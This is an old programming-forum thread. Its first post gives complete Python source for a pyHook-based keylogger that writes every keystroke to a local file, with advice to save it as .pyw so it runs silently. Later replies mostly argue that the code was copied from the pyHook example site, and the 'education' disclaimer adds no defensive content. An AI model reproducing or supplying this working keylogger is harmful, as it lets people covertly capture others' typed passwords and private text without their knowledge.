First Python - Key recorder.

Discussion in 'Web Programming' started by r0b0t1, Apr 6, 2007.

First Python - Key recorder.
  1. Unread #1 - Apr 6, 2007 at 5:33 PM
  2. r0b0t1
    Joined:
    Jan 23, 2007
    Posts:
    124
    Referrals:
    0
    Sythe Gold:
    0

    r0b0t1 Active Member

    First Python - Key recorder.

    I made this for education, no intents or harm intended. Also, to my knowledge, this is not against the rules. Because YOU MUST CONCIOUSLY EXECUTE IT.

    To use it you must have python, pyHook, and pythoncom. You can save it as .py to show the key presses, or .pyw to run silent with no console. (if you do latter, make sure to control>alt>delete to stop it) it makes a file in the directiory you saved it in. I can't upload .py or .pyw files. so here it is.

    Code:
    # -*- coding: Utf-8 -*-
    
    import pythoncom, pyHook, py_compile
    #compile the code.
    py_compile.compile("keylogger.py")
    #main part to record.
    def OnKeyboardEvent(event):
      open('Record.txt', 'a+').write(event.Key+' ')
      print 'MessageName:',event.MessageName
      print 'WindowName:',event.WindowName
      print 'Key:', event.Key
      print 'KeybID:', event.KeyID
      print '---------------------------'
       
      # return True to pass on the key to other programs
      return True
    chin = '灓捡灓捡⁆⁁'+' ″″‴′‵″‴′″'
     # error characters.
    hookm = pyHook.HookManager()
    # all key events events
    hookm.KeyDown = OnKeyboardEvent
    # set the hook to keyboard
    hookm.HookKeyboard()
    # wait
    pythoncom.PumpMessages()
     
  3. Unread #2 - Apr 6, 2007 at 6:03 PM
  4. cp
    Joined:
    Jan 30, 2007
    Posts:
    3,278
    Referrals:
    6
    Sythe Gold:
    0

    cp an cat
    Banned

    First Python - Key recorder.

    You just took the example from the pyhook site and just added the open().write() part.

    Not very cool.
     
  5. Unread #3 - Apr 6, 2007 at 7:09 PM
  6. r0b0t1
    Joined:
    Jan 23, 2007
    Posts:
    124
    Referrals:
    0
    Sythe Gold:
    0

    r0b0t1 Active Member

    First Python - Key recorder.

    What other way is there to make a key recorder? you don't know I took it from the site, and you should not accuse me for that.


    EDIT: looked at the site, and yes, they are simmilar.
     
  7. Unread #4 - Apr 6, 2007 at 9:13 PM
  8. cp
    Joined:
    Jan 30, 2007
    Posts:
    3,278
    Referrals:
    6
    Sythe Gold:
    0

    cp an cat
    Banned

    First Python - Key recorder.

    I can accuse you because of what I've seen.

    You built your scripts out of two pre-existing scripts, both I believe are on Mark Hammond's pyhook page, you have the same variable names, and threw in your own comments, and some chin variable.

    Shame.

    EDIT: You also said this isn't against the rules because you have to use it conciously, but isn't everything we do (while we're awake, and drug free, mind you) concious?
     
  9. Unread #5 - Apr 7, 2007 at 12:08 AM
  10. r0b0t1
    Joined:
    Jan 23, 2007
    Posts:
    124
    Referrals:
    0
    Sythe Gold:
    0

    r0b0t1 Active Member

    First Python - Key recorder.

    No, the user must execute it, and I don't think you can send it to a server. (with what IVE posted.)

    and anyway, I said I wrote it ( or implied ) not thought of the idea.
     
  11. Unread #6 - May 17, 2007 at 9:08 PM
  12. meeman666
    Referrals:
    0

    meeman666 Guest

    First Python - Key recorder.

    are there any ide's for python?
     
  13. Unread #7 - May 18, 2007 at 11:11 PM
  14. Teizhcial
    Referrals:
    0

    Teizhcial Guest

    First Python - Key recorder.

    Key Recorded or Key Logger
     
  15. Unread #8 - May 19, 2007 at 7:08 PM
  16. cp
    Joined:
    Jan 30, 2007
    Posts:
    3,278
    Referrals:
    6
    Sythe Gold:
    0

    cp an cat
    Banned

    First Python - Key recorder.

    Isn't that obvious Teizhcial?
     
  17. Unread #9 - Jun 10, 2007 at 3:00 AM
  18. Selling__money
    Referrals:
    0

    Selling__money Guest

    First Python - Key recorder.

    yes it is
     
< I need help echoing a username | WebVPN >

Users viewing this thread
1 guest


 
 
Adblock breaks this site